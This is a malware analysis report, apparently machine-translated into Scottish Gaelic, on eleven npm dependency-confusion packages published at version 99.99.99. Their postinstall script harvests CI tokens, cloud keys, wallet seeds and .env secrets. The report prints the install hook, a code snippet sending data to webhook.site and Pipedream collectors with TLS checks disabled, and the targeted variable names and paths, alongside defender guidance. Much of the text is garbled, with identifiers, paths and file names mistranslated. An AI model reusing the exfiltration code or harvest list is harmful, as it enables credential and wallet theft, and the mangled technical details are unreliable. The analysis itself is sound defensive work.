TL; DR
Air 2026-06-17, chaidh cunntas npm singilte fhoillseachadh aon phacaid deug aig a bheil aon adhbhar agus aon luchdBidh deichnear dhiubh a’ giùlan an cryptodao- ro-leasachan (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); is e an aonamh fear deug an raon-sgrùdaidh @public-for-cdao/coreChaidh gach fear fhoillseachadh aig an tionndadh 99.99.99 agus a’ cur bathar-bog a tha co-ionann ri byte recon.js a tha a’ ruith air adhart postinstall.
’S e na h-ainmean a tha ag innse. Tha iad coltach ri blocaichean togail a-staigh slabhraidh innealan prìobhaideach pròiseict crypto/DAO. Air fhoillseachadh don chlàr npm poblach aig dreach gu math àrd, tha iad nan suidhe a’ feitheamh ri togail. pipeline a tha air a rèiteachadh gus na h-ainmean sin fhuasgladh agus a ruigeas npm poblach ron chlàr phrìobhaideach - no an àite sin. troimh-chèile eisimeileachd, agus tha an luchd air a ghleusadh airson dìreach far a bheil dùil aige tuiteam: CI/CD ruitheadairean.
nuair postinstall teintean, recon.js a’ tional mion-fhiosrachadh an aoigh, a’ sguabadh gu garbh dà fhichead caochladair àrainneachd sgòthan, CI, agus crypto-wallet, a’ leughadh gin .env faidhlichean as urrainn dha a lorg agus a chuireas air adhart na loidhnichean dìomhair facal air an fhacal, an uairsin cuiridh e am pasgan gu dithis chruinneachaidh — webhook.site agus ceann-uidhe Pipedream — le dearbhadh teisteanais TLS air a dhì-cheadachadh. Tha leth-bhreac cuideachd sgrìobhte fo /tmp.
Dìth: àrdEag-shiostam air a bheil buaidh: npmBha na h-aon-deug pasganan uile beò aig àm sgrìobhaidh.
Anatomi ionnsaigh
Tha ceithir pàirtean gluasadach aig an inneal, agus chan eil gin dhiubh seòlta nuair a bhios fios agad orra. coimhead aon shreath seachad air ainm a’ phacaid.
1. Atmhorachd dreach mar mhealladh fuasglaidh. Bidh gach pasgan ag ainmeachadh an dreach 99.99.99Bidh troimh-chèile eisimeileachd ag obair nuair a dh’iarras manaidsear pacaid ainm a-staigh, bidh e cuideachd a’ sgrùdadh a’ chlàir phoblaich agus a’ taghadh an dreach as àirde lorg. Is e an roghainn bunaiteach aig npm airson raon caret no wildcard an an dreach as riarachaile thar gach stòr rèiteichte; ma tha an dà chuid prìobhaideach freagairt clàraidh is npm poblach airson an aon ainm, is e an àireamh tionndaidh as motha a bhuannaicheas. A 99.99.99 a’ dol thairis air cha mhòr dreach sam bith a-staigh a bhios aig pròiseact air a ruighinn, agus mar sin is fheàrr le fuasgladh nach eil ceangailte ris an stòr prìobhaideach an lethbhreac poblach — agus sa chùis seo, nàimhdeil. Chan fheum an gnìomhaiche fios a bhith aige air an àireamhan dreach fìor an targaid; tha taghadh as àirde gòrach a’ gealltainn gum bi an co-ionannachd an-còmhnaidh a’ briseadh an slighe.
2. Brosnachadh às dèidh an stàlaidh. pasgan.json a’ ceangal an luchd chun an stàlaidh cearcall-beatha:
{ "scripts": { "postinstall": "node recon.js" } } Chan eil feum air pasgan a thoirt a-steach. Dìreach ga stàladh — rud a tha na CI pipeline a’ ruith gu fèin-ghluasadach ath-sgrùdadh.js.
3. Sgrùdadh dìomhair farsaing. ath-sgrùdadh.js a’ cruinneachadh sreath thoraidhean ann an ìrean:
- Co-theacsa aoigheachd: ainm aoigheachd, àrd-ùrlar agus foillseachadh, ailtireachd, ainm-cleachdaiche, obair eòlaire.
- Caochladairean àrainneachdail: bidh e ag ath-aithris liosta stèidhichte de mu dhà fhichead ainm agus clàr gin a tha air an suidheachadh. Tha an liosta a’ nochdadh - tha e a’ paidhreachadh chomharran CI coitcheann (CI_JOB_TOKEN, Facal-faire CLÀRAIDH CI, GITLAB_ACCESS_TOKEN) agus neul teisteanasan (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, Comharra_AWS_SESSION) le dìomhaireachdan clàraidh is soitheach (NPM_TOKEN, DOCKER_PASSWORD, FACAL-FAIRE HARBOR) agus cruinneachadh le blas sònraichte crypto: IUCHAIR_PHRÌOBHAIDEACH, CUIMHNEACHAN, SEED_PHRASE, IUCHAIR_API_INFURA, IUCHAIR_API_ALCHEMY, ETH_RPC, BSC_RPCTha luachan clàraichte air an giorrachadh gu na ciad 50 caractaran.
- .env faidhlichean: bidh e a’ sgrùdadh liosta de shlighean — .env, ../.cèis, /app/.env, /app/backend/.env, /app/bot/.env, /dachaigh/gitlab-runner/.env, /freumh/.cèilidh, agus a ' .riochd/leasachadh caochlaidhean — agus airson faidhle sam bith a tha ann, tha e a’ sìoladh susbaint gu loidhnichean a tha a’ freagairt IUCHAIR|DÌOMHAIR|COMHARRA|FACA-LÀIMHE|PRÌOBHAIDEACH|CUIMHNEACHAN agus a’ putadh nan loidhnichean sin **gu h-iomlan, gun ghiorrachadh** a-steach do na toraidhean.
- Co-theacsa togail-aoigheachd: tha e a’ liostadh a’ chiad 20 inntrigeadh de /a’ togail/, /dachaigh/gitlab-runner/togaidhean/, /var/lib/gitlab-ruitheadair/, agus /tmp/.
Tha cuideam air liosta nan slighean agus liosta nan caochladairean a dh’ionnsaigh ruitheadairean GitLab, a tha a’ comharrachadh an luchd gu dìreach aig bun-structar CI fèin-aoigheachd seach leasaiche laptop. Le bhith a’ cur an liosta bhuain ann am buidhnean a rèir roinn-seòrsa, bidh an tarraing a tha san amharc soilleir:
| Roinn-seòrsa | Caochladairean / slighean air an ruighinn |
|---|---|
| CI/CD dearbh-aithne & cleachdadh | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Glasa | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Clàr & soitheach | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Stòran dàta | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Crypto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| teachdaireachd | SLACK_TOKEN, DISCORD_TOKEN |
| Air diosg | .env teaghlach + /home/gitlab-runner/.env, /root/.env, /app/**/.envliostaichean eòlaire de /builds/, /var/lib/gitlab-runner/ |
’S e an cruinneachadh crypto am pàirt a tha ga dhèanamh eadar-dhealaichte bho dhìomhaireachd CI coitcheann. sguab: chan eil abairtean sìl wallet agus iuchraichean soidhnidh a’ nochdadh ach ann an àrainneachd a pròiseact blockchain, agus bidh iad a’ mapadh gu dìreach air an crioptodao-/soidhne/cùmhnantan ainmeachadh nan luchd-giùlain.
4. Dùblachadh às-shìolaidh le dearbhadh à comas. Tha an sreath a chaidh a chruinneachadh air a shreathachadh agus air a phostadh gu dà cheann-uidhe:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) diùltadhGun chead: meallta a’ cur dheth sgrùdaidhean teisteanas TLS airson an fheadhainn a-muigh gairmean. Tha an aon dàta air a chlò-bhualadh gu stdout (agus mar sin bidh e cuideachd a’ tuiteam ann an logaichean obrach CI) agus sgrìobhte gu /tmp/.npm_recon_ .json. Bidh mearachdan air an slugadh gu sàmhach, agus mar sin a Chan eil lorg sam bith air fhàgail anns an toradh stàlaidh ma dh’fhàillig an cur nas fhaide na aon fhear. [ath-sgrùdadh] air a stàladh air loidhne.
Tha beachd cudromach san fhaidhle ga mhìneachadh mar “Mì-chinnt mu Eisimeileachd “Uallach airson Taisbeanaidh.” Tha gearradh luachan na h-àrainneachd gu 50 caractar air a bhith ann. cruth dearbhaidh bun-bheachd. Is e an rud a ghluaiseas e seachad air beacon làthaireachd a-mhàin an .env làimhseachadh: thèid loidhnichean dìomhaireachd a chuir air adhart gu h-iomlan, agus na cinn-uidhe dà chruinneadair a tha ag obair, fo smachd ionnsaigh seach sinc a tha a’ cunntadh a-mhàin amas.
Loidhne-tìm
’S e am pàtran foillseachaidh ainm-sgrìobhte aon phutadh sgriobta, chan e aon-deug luchdachadh suas neo-eisimeileach.
| Ùine (UTC, 2026-06-17) | tachartas |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 fhoillseachadh |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — caochladh le sgòp, ~24 mionaid nas fhaide air adhart |
Chaidh deich pacaidean a-mach taobh a-staigh uinneag 29 diog, timcheall air aon a h-uile trì diogan. An raon-sgrùdaidh @poblach-airson-cdao/cridhe lean mu 24 mionaid às dèidh sin — diog gnàthas ainmeachaidh airson an aon targaid, ma tha am pròiseact a bhios a’ caitheamh a’ toirt iomradh air an slabhraidh innealan a-staigh fo raon seach mar ainmean lom.
Comharran co-rèiteachaidh
| Type | comharra |
|---|---|
| Neach-cruinneachaidh | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Neach-cruinneachaidh | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Stàlaich dubhan | postinstall: node recon.js |
| Faidhle air a leigeil às | /tmp/.npm_recon_<timestamp>.json |
| Comharra loga | [recon] <pkg>@<ver> installed on <hostname> (stdout ann an logaichean CI) |
| Giùlan | rejectUnauthorized: false air HTTPS a-mach rè an stàlaidh |
| Pàigheadh pàighidh | recon.js, co-ionann thar nan aon phasgan deug (aon togail co-roinnte) |
| tionndadh | 99.99.99 air gach pasgan |
| pasgain | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (uile 99.99.99) |
| Air fhoillseachadh le | aduljune / aduljune@proton.me (post-d gun dearbhadh, gun stòr-dàta ceangailte) |
Cur às leth & giùlan a chaidh fhaicinn
Tha a h-uile càil mun chruinneachadh a’ comharrachadh aon làimh. Chaidh na h-aon-deug pasganan uile fhoillseachadh. leis a’ chunntas npm aduljune (aduljune@proton.me, seòladh neo-dhearbhaichte gun stòr-tasgaidh stòr ceangailte), taobh a-staigh ùine 25-mionaid, aig an aon àm 99.99.99 dreach, a’ cur a-mach ath-sgrùdadh.js aig a bheil an susbaint co-ionann byte-air-byte thar gach pasgan (tha MD5 a’ maidseadh thar gach aon-deug leth-bhreac a chaidh a thoirt a-mach). Sin aon luchd-pàighidh air a stampadh air liosta ainmean, chan e ath-chleachdadh còd neo-eisimeileach.
Tha an liosta ainmean a’ mìneachadh an targaid a tha san amharc. cryptodao-* agus cdao thoir cunntas air an cruth modúl prìobhaideach pròiseict crypto/DAO, agus liosta buain an luchd-pàighidh sgàthan a bhios a’ tomhas: còmhla ris an CI coitcheann agus dìomhaireachdan sgòthan, gu sònraichte a’ ruighinn airson IUCHAIR_PHRÌOBHAIDEACH, CUIMHNEACHAN, SEED_PHRASE, agus Ethereum/BSC RPC agus iuchraichean solaraiche. An .env ’S e GitLab-runner a th’ ann an slighean rannsachaidh agus liostaichean eòlairean sònraichte. Is e a’ bhuaidh a ghabhas fhaicinn gu bheil gin pipeline air a mhealladh gus na rudan seo a stàladh bhiodh ainmean a’ cur air adhart na comharran CI, na h-iuchraichean sgòthan, agus na comharran air an diosg .env dìomhaireachdan — agus, airson pròiseact blockchain, an stuth wallet aige - gu dithis chruinneadair treas-phàrtaidh.
Chan eil sinn a’ dèanamh tagradh sam bith mu cò a tha ag obrachadh a’ chunntais no dè bha iad an dùil a dhèanamh leis. dàta. Na fìrinnean a sheasas leotha fhèin: tha na h-ainmean ag amas air seòrsa sònraichte de slabhraidh innealan a-staigh, bidh an luchd a’ leughadh agus a’ cur luachan dìomhair fìor, agus an bha am bun-structar beò.
Buaidh, gluasadan, agus stiùireadh luchd-dìon
Troimh-chèile eisimeileachd fhathast èifeachdach leis gu bheil e a’ cleachdadh giùlan fuasglaidh, chan e so-leòntachd ann am pasgan sam bith. Tha an giùlan an seo beag - aon-deug faisg air falamh pacaidean - ach is e radius an spreadhaidh ge bith dè pipeline a’ cur barrachd luach air npm poblach gu mearachdach airson ainm a-staigh. Is e ruitheadairean CI an t-àite as miosa airson sin tachairt: bidh iad a’ cumail dìreach na comharran agus .env faidhlichean a leughas an luchd-pàighidh seo, agus bidh iad a’ stàladh eisimeileachdan neo-eadar-ghnìomhach, agus mar sin a às dèidh an stàlaidh a’ ruith gun duine sam bith a’ coimhead.
Tha an cruinneachadh seo cuideachd a’ freagairt ri pàtran a tha sinn a’ faicinn fad na h-ùine: luchdan aig àm an stàlaidh a tha a’ taisbeanadh mar “rannsachadh” no “sgrùdadh” fhad ’s a tha iad a’ cruinneachadh teisteanasan fìor. An leubail Chan eil atharrachadh sam bith anns an fhaidhle air na bhios an còd a’ dèanamh air ruitheadair. Bidh dà roghainn dealbhaidh a’ cumail an gnìomhachd sàmhach: tha a h-uile gnìomhachd lìonra is siostam faidhlichean air a phasgadh ann an làimhsichear eisgeachd a chuireas às do mhearachdan, agus mar sin cuir bacadh air no faidhle a tha a dhìth chan eil toradh breithneachaidh sam bith ann, agus chan eil clò-bhualadh ach aon rud neo-chiontach [ath-sgrùdadh] … air a stàladh loidhne a bhios a’ measgachadh a-steach do chòmhradh stàlaidh àbhaisteach. Cleachdadh làrach-lìn agus tha Pipedream cuideachd na ghoireasachd a dh'aona ghnothach - tha an dà chuid an-asgaidh, seirbheisean glacaidh-iarrtas air an solarachadh sa bhad, agus mar sin chan fheum an gnìomhaiche frithealaichean de tha iad fhèin agus na cinn-uidhe coltach ri ainmean-aoigheachd SaaS àbhaisteach ann an logaichean egress.
Is e an eaconamaidh a tha ga dhèanamh airidh air aire neach-dìon ged a tha an Tha còd giùlain sìmplidh. Chan eil cosgais sam bith ann a bhith a’ clàradh aon ainm deug, is e aon an luchd faidhle air a chopaigeadh aon uair deug, agus bidh manaidsear a’ phacaid a’ dèanamh a h-uile gnìomh. Aon air a rèiteachadh gu ceàrr pipeline ge bith càite a bhios aon de na h-ainmean seo a’ pàigheadh airson a’ chùraim gu lèir obrachadh.
Ceumannan concrait airson luchd-dìon:
- Prìne raointean a-staigh ris a’ chlàr phrìobhaideach agad. Cuir air dòigh npm gus ainmean a-staigh a chruthachadh
agus chan eil sgòpan a’ fuasgladh ach an aghaidh do chlàr (mapaichean clàraidh .npmrc le sgòpan, no progsaidh nach tuit troimhe gu npm poblach airson ainmean-àite fo shealbh). Glèidh ainmean nan raoin phoblach agad gus nach urrainn do dhuine sam bith eile an clàradh.
- Commit faidhlichean glasaidh is stàlaich iad le –ignore-scripts ann an CI far a bheil sin comasach, no sgrùdadh a dhèanamh air an t-seata bheag de eisimeileachdan a dh’ fheumas sgriobtaichean stàlaidh dha-rìribh. Chan urrainn dha recon.js ruith ma tha às dèidh an stàlaidh chan eil e air a chur gu bàs.
- Làimhsich dreach 99.99.99 (no dreach eile a tha ro àrd) de ainm a tha coltach ri taobh a-staigh mar bhratach dhearg ann an ath-sgrùdadh eisimeileachd agus sgrùdadh clàraidh.
- Rabhadh mu fàgail aig àm an stàlaidh. A às dèidh an stàlaidh a dh’fhosglas HTTPS a-mach ceangal — gu h-àraidh le dearbhadh teisteanais air a dhì-cheadachadh — ri Is fhiach webhook.site, Pipedream, no seirbheisean glacaidh-iarrtasan coltach riutha a bhacadh aig oir an lìonraidh agus a chomharrachadh ann an logaichean togail.
- Sealg airson na stuthan-ealain. Thoir sùil air luchd-ruith airson /tmp/.npm_recon_*.json agus airson an [ath-sgrùdadh] … air a stàladh air … comharra ann an logaichean CI o chionn ghoirid. Ma lorgar e, rothlaich gach teisteanas fosgailte dha sin pipeline — comharran CI, iuchraichean sgòthan, comharran clàraidh, agus sìol wallet no iuchraichean prìobhaideach sam bith a tha an làthair san àrainneachd no faidhlichean .env.
iomraidhean
Cha robh aithris bhon taobh a-muigh ann air a’ chruinneachadh seo aig àm sgrìobhaidh; bha an anailis tha an susbaint gu h-àrd stèidhichte gu dìreach air susbaint a’ phacaid a chaidh fhoillseachadh




